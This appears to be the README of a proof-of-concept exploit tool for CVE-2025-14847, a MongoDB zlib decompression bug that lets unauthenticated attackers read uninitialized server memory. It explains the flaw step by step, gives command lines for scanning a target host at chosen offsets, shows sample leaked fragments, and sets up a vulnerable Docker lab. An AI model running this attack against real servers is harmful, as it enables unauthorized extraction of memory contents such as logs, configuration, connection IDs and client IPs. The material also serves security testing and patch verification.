CVE-2025-14847 - MongoDB Unauthenticated Memory Leak Exploit

A proof-of-concept exploit for the MongoDB zlib decompression vulnerability that allows unauthenticated attackers to leak sensitive server memory.

A flaw in MongoDB's zlib message decompression returns the allocated buffer size instead of the actual decompressed data length. This allows attackers to read uninitialized memory by:

1. Sending a compressed message with an inflated uncompressedSize claim
2. MongoDB allocates a large buffer based on the attacker's claim
3. zlib decompresses actual data into the start of the buffer
4. The bug causes MongoDB to treat the entire buffer as valid data
5. BSON parsing reads "field names" from uninitialized memory until null bytes

# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>

# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000

# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000

[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...

[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin

A Docker Compose file is included to spin up a vulnerable MongoDB instance:

docker-compose up -d
python3 mongobleed.py

The exploit crafts BSON documents with inflated length fields. When the server parses these documents, it reads field names from uninitialized memory until it hits a null byte. Each probe at a different offset can leak different memory regions.

Leaked data may include:

• MongoDB internal logs and state
• WiredTiger storage engine configuration
• System /proc data (meminfo, network stats)
• Docker container paths
• Connection UUIDs and client IPs

• OX Security Advisory
• MongoDB Fix Commit

Joe Desimone - x.com/dez_

This tool is for authorized security testing only. Unauthorized access to computer systems is illegal.